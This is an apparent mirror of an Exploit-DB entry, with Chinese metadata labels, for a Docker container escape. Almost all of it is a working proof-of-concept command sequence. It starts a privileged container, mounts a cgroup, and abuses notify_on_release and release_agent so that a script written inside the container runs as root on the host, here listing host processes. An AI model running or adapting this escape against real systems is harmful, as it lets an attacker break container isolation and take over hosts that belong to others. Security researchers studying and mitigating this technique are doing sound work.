Docker – Container Escape

  • 作者: dominikczarnotatob
    日期: 2019-07-19
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47147/
  • # On the host
    docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
    
    # In the container
    mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
    
    echo 1 > /tmp/cgrp/x/notify_on_release
    host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
    echo "$host_path/cmd" > /tmp/cgrp/release_agent
    
    echo '#!/bin/sh' > /cmd
    echo "ps aux > $host_path/output" >> /cmd
    chmod a+x /cmd
    
    sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"